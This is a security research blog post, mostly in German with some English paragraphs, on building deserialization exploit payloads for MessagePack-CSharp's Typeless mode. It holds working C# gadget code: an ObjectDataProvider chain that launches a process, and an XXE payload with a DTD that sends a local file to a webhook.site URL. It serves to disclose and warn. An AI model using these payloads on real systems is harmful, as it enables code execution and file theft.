Generierung von Deserialisierungs-Payloads für den typlosen Modus von MessagePack C#
Apr 10, 2023
Der Typlose Modus von MessagePack-CSharp ermöglicht polymorphe Serialisierung, indem vollständige Typinformationen, einschließlich privater Felder, eingebettet werden, was ihn leistungsstark, aber unsicher für nicht vertrauenswürdige Daten macht. Da die Deserialisierung auf Reflexion und automatischen Eigenschaften-Settern basiert, können Angreifer Payloads erstellen, die die Ausführung von Code oder XXE-Angriffe auslösen, indem sie bekannte Gadget-Ketten missbrauchen. Selbst mit aktivierten, gehärteten Sicherheitsoptionen von MessagePack bleibt der Typlose Modus grundsätzlich unsicher und sollte niemals mit nicht vertrauenswürdigen Eingaben verwendet werden.
MessagePack-CSharp ist eine Hochleistungs-Serialisierungsbibliothek, die den Prozess der Serialisierung und Deserialisierung komplexer Objekte vereinfacht. Viele .NET-Entwickler bevorzugen MessagePack, da es schneller ist und eine kleinere Ausgabe als andere Serialisierungsformate wie XML oder JSON erzeugt.
MessagePack-CSharp offers a feature called Typeless mode, which enables dynamic, polymorphic serialization and deserialization of objects without prior knowledge of their types. This capability is particularly beneficial in situations where the object’s type is only known at runtime, allowing developers to serialize and deserialize objects without the need to decorate classes with attributes. Typeless mode is capable of serializing almost any type, including public and private properties and fields.
Mit der Abwertung von BinaryFormatter könnten Entwickler nach Alternativen wie dem typelosen Modus von MessagePack suchen, da er ähnliche Funktionen bietet.
Die MessagePack-Dokumentation rät davon ab, den typelosen Modus mit nicht vertrauenswürdigen Daten zu verwenden, da dies zu Sicherheitsproblemen führen könnte. Dieser Artikel veranschaulicht diese Probleme, indem er zeigt, wie man Deserialisierungs-Exploit-Payloads für den typelosen Modus von MessagePack erstellt.
Serialisierung eines Objekts im Typlosen Modus
namespace SomeLibrary
{
public class SomeClass
{
private string _privateField;
public string PublicProperty { get; set; }
public string PrivateProperty { get; private set; }
public void SetPrivateProperty(string pPrivateProperty)
=> PrivateProperty = pPrivateProperty;
public void SetPrivateField(string pPrivateField)
=> _privateField = pPrivateField;
}
}
namespace MessagePackTypelessDemo
{
class Program
{
static void Main()
{
var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
obj.SetPrivateProperty("HIJKLMNOP");
obj.SetPrivateField("QRSTUVWXYZ");
System.IO.File.WriteAllBytes(
"serialized.bin",
MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
}
}
}
Es ist wichtig zu beachten, dass die serialisierten Daten private Eigenschaften und Feldwerte sowie den AssemblyQualifiedName (AQN) von SomeClass. Während der Deserialisierung wird MessagePack auf diese Typinformationen verweisen, um sicherzustellen, dass dieser genaue Objekttyp korrekt konstruiert und befüllt wird.
Abbildung 1. Hexansicht der typlosen serialisierten Daten von MessagePack
Während der Deserialisierung nutzt MessagePack die Reflexion, um einen Standardkonstruktor ohne Parameter aufzurufen. Wenn kein Standardkonstruktor vorhanden ist, schlägt die Deserialisierung fehl. Darüber hinaus wird die Reflexion verwendet, um die Eigenschafts-Setter aufzurufen und Werte den Feldern zuzuweisen.
Sicherheitsimplikationen der Deserialisierung von nicht vertrauenswürdigen Daten
Die Dokumentation von MessagePack behandelt die Sicherheitsimplikationen, die mit der Deserialisierung von nicht vertrauenswürdigen Daten verbunden sind. Der Abschnitt rät ausdrücklich davon ab, den typelosen Modus mit nicht vertrauenswürdigen Daten zu verwenden, da dies zur Deserialisierung unerwarteter Typen führen kann, was Sicherheitsanfälligkeiten zur Folge haben kann.
Die MessagePackSerializerOptions Klasse ermöglicht es Entwicklern, spezifische Verhaltensweisen während der Serialisierung und Deserialisierung zu konfigurieren, wie die Verwendung von Lz4-Kompression und die Handhabung von Assembly-Versionen. Die Klasse definiert auch eine Liste bekannter gefährlicher Typen, die MessagePack nicht deserialisieren wird. Wenn einer dieser Typen in den serialisierten Daten vorhanden ist, wird eine Ausnahme ausgelöst und die Deserialisierung abgebrochen. Diese Liste enthält derzeit zwei Typen:
- System.CodeDom.Compiler.TempFileCollection
- System.Management.IWbemClassObjectFreeThreaded
MessagePackSerializerOptions kann auch so konfiguriert werden, dass ein sicherer Modus verwendet wird, der darauf abzielt, nicht vertrauenswürdige Daten zu verarbeiten, was eine maximale Objektgraphtiefe und einen kollisionsresistenten Hash-Algorithmus einführt. Die Dokumentation behauptet, dass dieser Modus lediglich gegen gängige Angriffe absichert und nicht vollständig sicher ist.
MessagePackSerializerOptions options =
TypelessContractlessStandardResolver.Options
.WithAllowAssemblyVersionMismatch(true)
.WithSecurity(MessagePackSecurity.UntrustedData);
return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
Trotz der auferlegten Einschränkungen bleibt es möglich, eine serialisierte Gadget-Nutzlast zu erstellen, die Property-Setter-Aufrufe verwendet, um privilegierte Aktionen wie die Ausführung von Code zu initiieren, wenn untrusted Daten deserialisiert werden. Dies ist möglich, vorausgesetzt, das Gadget ist nicht in der Liste der nicht erlaubten Typen enthalten.
Die direkte Serialisierung eines instanziierten Gadgettyps kann problematisch sein, da alle Eigenschaften und Felder des Typs serialisiert werden, ohne die Möglichkeit, einige von ihnen zu ignorieren. Die Deserialisierung des Objekts kann zu einem falsch konfigurierten Objekt führen, das während der Instanziierung Probleme verursachen kann, was möglicherweise dazu führt, dass der Exploit fehlschlägt. Darüber hinaus müssen Forscher bei setter-basierten Gadgets möglicherweise die Payload direkt während der Objekterstellung ausführen.
Um diese Probleme zu vermeiden, wäre ein besserer Ansatz, ein minimales Ersatzobjekt zu erstellen und es als den echten Gadgettyp zu serialisieren. Auf diese Weise werden nur die notwendigen Eigenschaften und Felder während der Deserialisierung gesetzt, wodurch das Risiko unerwünschten Verhaltens verringert wird.
Generierung einer ObjectDataProvider-Nutzlast für die Codeausführung
Der ObjectDataProvider Gadget ist ein weithin bekanntes Codeausführungs-Gadget, das in zahlreichen Gadget-Ketten vorkommt. Dieser Artikel wird nicht auf die Einzelheiten eingehen, wie der ObjectDataProvider funktioniert, da das Papier von Alvaro Muñoz und Oleksandr Mirosh “Freitag, der 13. JSON-Angriffe” eine umfassende Erklärung seiner Funktionsweise bietet.
In short, the ObjectDataProvider can be used to call Process.Start with user-specified arguments by configuring the MethodName and ObjectInstance properties, which when setting either property invokes the supplied method name on the supplied object instance. Specifically, the MethodName property should be set to “Start” and the ObjectInstance property should be set to an instance of System.Diagnostics.Process. The filename and arguments can then be set via properties contained in the System.Diagnostics.ProcessStartInfo object, which is available as the Process object’s StartInfo property.
Schritt 1. Geben Sie die Ersatztypen an
Die Ersatztypen müssen nur die minimalen Eigenschaften enthalten, um zu einer Codeausführung zu führen. Für den ObjectDataProvider Gadget muss der Objektgraph der folgenden Spezifikation entsprechen:
public class ObjectDataProviderSurrogate
{
public string MethodName { get; set; }
public object ObjectInstance { get; set; }
}
public class ProcessStartInfoSurrogate
{
public string FileName { get; set; }
public string Arguments { get; set; }
}
public class ProcessSurrogate
{
public ProcessStartInfoSurrogate StartInfo { get; set; }
}
Schritt 2. Erstellen Sie das Objekt ObjectDataProviderSurrogate
Um eine Payload zu generieren, die „calc.exe“ ausführt, konstruieren wir zuerst das ObjectDataProviderSurrogate Objekt und setzen die Eigenschaften wie erforderlich für das echte ObjectDataProvider Objekt und verwenden zusätzliche Surrogate, wo nötig.
return new ObjectDataProviderSurrogate
{
MethodName = "Start",
ObjectInstance = new ProcessSurrogate
{
StartInfo = new ProcessStartInfoSurrogate
{
FileName = "cmd.exe",
Arguments = "/c calc"
}
}
};
Schritt 3. Den Typ-Cache ändern
Der typlose Modus von MessagePack enthält keine Funktionalität zum Serialisieren eines Typs als einen anderen. Während Entwickler zuvor in der Lage waren, den TypelessFormatter‘s BindToType Delegierten zu verwenden, um dies zu erreichen, wurde diese Funktion während einer bedeutenden Refaktorisierung entfernt. Wir können jedoch weiterhin einige der internen Verhaltensweisen von MessagePack nutzen, um dieses Ziel zu erreichen.
Der TypelessFormatter verwendet einen internen Cache, um Typinformationen für zuvor verarbeitete Typen zu speichern. Wenn ein Typ im Cache vorhanden ist, umgeht der Formatter die Abfrage des AQN für den Typ über die AssemblyQualifiedName-Eigenschaft und gibt stattdessen die zwischengespeicherte AQN-Zeichenfolge in Form eines Byte-Arrays zurück, die dann in die serialisierten Daten integriert wird, um den serialisierten Typ zu identifizieren.
public void Serialize(
ref MessagePackWriter writer,
object? value,
MessagePackSerializerOptions options)
{
// [Truncated]
Type type = value.GetType();
var typeNameCache = options.OmitAssemblyVersion
? ShortenedTypeNameCache
: FullTypeNameCache;
if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
{
TypeInfo ti = type.GetTypeInfo();
if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
{
typeName = null;
}
else
{
typeName = StringEncoding.UTF8.GetBytes(
this.BuildTypeName(type, options));
}
typeNameCache.TryAdd(type, typeName);
}
// Use typeName...
}
Indem wir Typen und deren entsprechende AQN-Strings in den Cache hinzufügen, stellen wir sicher, dass der Serializer die angegebenen AQN-Strings schreibt, während er diese Objekte verarbeitet. Da der Cache privat ist, können wir Reflexion nutzen, um auf die TryAdd Methode dieses Feldes zuzugreifen.
public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
FieldInfo typeNameCacheField =
typeof(TypelessFormatter)
.GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo addTypeCacheMethod =
typeNameCacheField.FieldType
.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });
object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
foreach (var typeSwap in pNewTypeCacheEntries)
{
addTypeCacheMethod.Invoke(
typeNameCache,
new object[]
{
typeSwap.Key,
System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
});
}
}
We can now add our types to the TypelessFormatter‘s internal type cache, along with the corresponding type names of the real objects. Because the TypelessFormatter is static, any subsequent serialize calls will use this modified type cache.
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(ObjectDataProviderSurrogate),
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
},
{
typeof(ProcessSurrogate),
"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(ProcessStartInfoSurrogate),
"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
Schritt 4. Serialisieren und Deserialisieren der Nutzlast
Wir können bestätigen, dass die serialisierten Daten die für die ObjectDataProvider Gadget-Kette notwendigen AQNs enthalten, sowie nur die wesentlichen Eigenschaften und Werte, die eine erfolgreiche Codeausführung ermöglichen. Bei der Deserialisierung wird die Nutzlast Process.Start, die calc.exe startet.
Abbildung 2. Hexansicht des serialisierten Payloads des ObjectDataProvider-Gadgets
Abbildung 3. Erfolgreiche Ausnutzung während der Deserialisierung, Start von calc.exe
Diese Funktion zur Generierung von Payloads wurde auch in das Ysoserial.NET-Projekt integriert, um Forschern zu ermöglichen, MessagePack-Typlose Payloads sowohl für Standard- als auch für Lz4-komprimierte Daten zu generieren.
Abbildung 4. Generierung von typlosen MessagePack-Nutzlasten mit Ysoserial.NET
Einschränkungen
In MessagePack-CSharp-Versionen vor v2.3.75 (Juli 2021) ist es nicht möglich, durch Deserialisierung eines serialisierten ObjectDataProvider Payload Codeausführung zu erreichen. In diesen Versionen werden die Property-Setter für ein Objekt aufgerufen, selbst wenn ihre Werte nicht in den serialisierten Daten vorhanden sind.
The ObjectDataProvider extends the System.Windows.Data.DataSourceProvider class. This class contains the protected property Dispatcher, which in earlier versions of MessagePack will be set to null.
protected Dispatcher Dispatcher
{
get { return _dispatcher; }
set
{
if (_dispatcher != value)
{
_dispatcher = value;
}
}
}
Wie bereits erwähnt, führt das Festlegen der angegebenen Eigenschaften ObjectInstance oder MethodName zu einem internen Aktualisieren Methode, die zur Ausführung des angegebenen Methodennamens auf der Objektinstanz führt, vorausgesetzt, beide Eigenschaften wurden festgelegt. Das bedeutet, dass für eine erfolgreiche Ausführung die Aktualisieren Methode zweimal aufgerufen werden muss – einmal für das Setzen jeder Eigenschaft.
At the end of each call to Refresh, a call is made to DataSourceProvider’s OnQueryFinished method, indicating that the query has finished. This method asserts that the Dispatcher property is not null.
protected virtual void OnQueryFinished(object newData, Exception error
DispatcherOperationCallback completionWork, object callbackArguments)
{
Invariant.Assert(Dispatcher != null);
if (Dispatcher.CheckAccess())
{
UpdateWithNewResult(error, newData, completionWork, callbackArguments);
}
else
{
Dispatcher.BeginInvoke(
DispatcherPriority.Normal, UpdateWithNewResultCallback,
new object[]
{
this, error, newData, completionWork, callbackArguments
});
}
}
Da Dispatcher an diesem Punkt null ist, Invariant.Assert wird fehlschlagen, was zu einem Aufruf von Invariant.FailFast, was letztendlich den Prozess beendet. Da dies beim ersten Aufruf von Refresh, wird die Codeausführung nicht möglich sein.
Generierung eines XmlDocument-Payloads für die XXE-Dateiexfiltration
The XmlDocument class features the InnerXml string property that invokes XmlDocument‘s Load method with the supplied property value when set. For .NET versions below v4.5.2, this creates a potential vulnerability to XXE (XML External Entity) attacks, which can enable an attacker to exfiltrate files from the system to a remote location.
In .NET Framework versions v4.5.2 and later, the XmlResolver property of XmlDocument is set to null by default, which prevents the processing of XML entities. However, since MessagePack deserializes types with default constructors, it is possible to circumvent this protection by providing an XmlUrlResolver as the XmlResolver property. This creates a pathway for XXE scenarios in later versions from .NET Core through to .NET 7.
Schritt 1. Geben Sie die Ersatztypen von XmlDocument an
Wir geben die minimalen Eigenschaften an, die erforderlich sind, um den XXE-Angriff durchzuführen. Beachten Sie, dass die XmlResolver-Eigenschaft vom Typ System.Object, anstelle von XmlUrlResolverSurrogate. Dies zwingt MessagePack, die AQN des Typs der XmlResolver-Eigenschaft einzuschließen, sodass wir den Typwechselmechanismus nutzen können.
public class XmlDocumentSurrogate
{
public object XmlResolver { get; set; }
public string InnerXml { get; set; }
}
public class XmlUrlResolverSurrogate
{
}
Schritt 2. Erstellen Sie das XmlDocument-Vertreterobjekt
Um eine Datei bei der Deserialisierung zu exfiltrieren, müssen wir zunächst eine DTD-Datei vorbereiten und hosten, die von dem geladenen XML, das der InnerXml-Eigenschaft zugewiesen wird, referenziert wird. Wir können den kostenlosen Text-Einfügeservice Pastebin verwenden, um die DTD-Datei zu hosten, da er den Zugriff auf Rohdateien ermöglicht.
Das DTD liest den Inhalt der Datei “C:\test.txt” (dieses Beispiel für einen Proof-of-Concept enthält den Text “A1B2C3”) und übergibt den Inhalt als GET-Parameter an einen von einem Angreifer kontrollierten Webdienst. Für dieses Beispiel verwenden wir den kostenlosen Webhook.Site Dienst, um Anfragen abzufangen.
<!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;
Die XML-Datei, die während der Deserialisierung geladen wird, verweist auf diese DTD-Datei und ruft die Entitätserweiterung auf, die zur GET-Anforderung führt.
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
Die vollständige Konstruktion des Ersatzobjekts besteht dann einfach darin, das XmlDocumentSurrogateInnerXml-Eigenschaft mit dem obigen XML zu füllen und die XmlResolver-Eigenschaft auf unseren XmlUrlResolverSurrogate Typ.
return new XmlDocumentSurrogate
{
XmlResolver = new XmlUrlResolverSurrogate(),
InnerXml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
"<foo>&c;</foo>"
};
Schritt 3. Ersetzen Sie die Typdefinitionen
Mit dem gleichen Ansatz, der zur Generierung des ObjectDataProvider Gadgets verwendet wird, können wir die SwapTypeCacheNames Funktion verwenden, um die Informationen über den Ersatztyp durch die Typinformationen für das reale XmlDocument Gadget zu ersetzen.
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(XmlDocumentSurrogate),
"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(XmlUrlResolverSurrogate),
"System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
Schritt 4. Serialisieren und deserialisieren Sie die Nutzlast
The serialized data for the XmlDocument gadget chain contains the correct AQNs, including the necessary AQN for XmlUrlResolver. Upon deserialization, the payload will trigger a request for the attacker-hosted DTD. The DTD will then be used to extract the contents of “C:\Test.txt”, passing the contents to the webhook as a GET parameter.
Abbildung 5. Hexansicht der serialisierten XmlDocument-Gadget-Nutzlast
Abbildung 6. Serialisierung und Deserialisierung der XmlDocument-Gadget-Nutzlast
Abbildung 7. Erfolgreiche XXE-Dateiexfiltration während der Deserialisierung
Einschränkungen
MessagePack-CSharp-Versionen vor v2.3.75 (Juli 2021) verhindern die Ausführung eines XXE-Angriffs während der Deserialisierung eines XmlDocument Gadget-Payload aufgrund des zuvor genannten Fehlers, der die Aufruf von Eigenschaften für ein Objekt verhindert, selbst wenn sie nicht in den serialisierten Daten vorhanden sind.
Der Fehler verursacht XmlDocumentden Setter der Value-Eigenschaft, der von System.Xml.XmlNode, aufgerufen zu werden. Dieser Setter wirft eine Ausnahme, unabhängig vom übergebenen Wert, was dazu führt, dass der Deserialisierungsprozess abgebrochen wird, bevor eine Datei exfiltriert werden kann.
public virtual string Value
{
get { return null; }
set
{
throw new InvalidOperationException(
string.Format(
CultureInfo.InvariantCulture,
Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString()));
}
}
Zusammenfassung
Dieser Artikel bietet einen Überblick über eine einfache Methode zur Erstellung von Deserialisierungs-Exploits in der typelosen Mode von MessagePack. Angesichts der Vielseitigkeit des Serialisierers bei der Handhabung nicht nur privater Eigenschaften, sondern auch privater Felder ist es wahrscheinlich, dass es für diesen Serialisierer mehr Gadgets gibt als für seine restriktiveren Pendants.
Die Deserialisierung von nicht vertrauenswürdigen Daten stellt ein erhebliches Sicherheitsrisiko dar, insbesondere wenn Daten deserialisiert werden, die den eingebetteten Objekttyp definieren. Entwickler sollten vermeiden, die typelose Funktion von MessagePack zur Deserialisierung nicht vertrauenswürdiger Daten zu verwenden; selbst bei aktivierten Sicherheitsfunktionen ist es unsicher und kann nicht sicher gemacht werden.
Danksagungen
Besonderer Dank an Piotr Bazydlo (@chudyPB) für die wertvollen Einblicke in die Einschränkungen der Deserialisierung von ObjectDataProvider-Gadget-Ketten in früheren Versionen von MessagePack, die eine erfolgreiche Ausnutzung verhindern.
Häufig gestellte Fragen
Teilen auf
Erfahren Sie mehr
Über den Autor
Dane Evans
Senior Anwendungs-Sicherheitsingenieur
Als Anwendungssicherheitsingenieur im Netwrix Security Research-Team verfügt Dane über mehr als ein Jahrzehnt Erfahrung in der Anwendungssicherheit und Softwareentwicklung. Zu seinen Hauptinteressen gehören Anwendungssicherheit, der Softwareentwicklungslebenszyklus (SDLC), Schwachstellenforschung und Exploit-Entwicklung.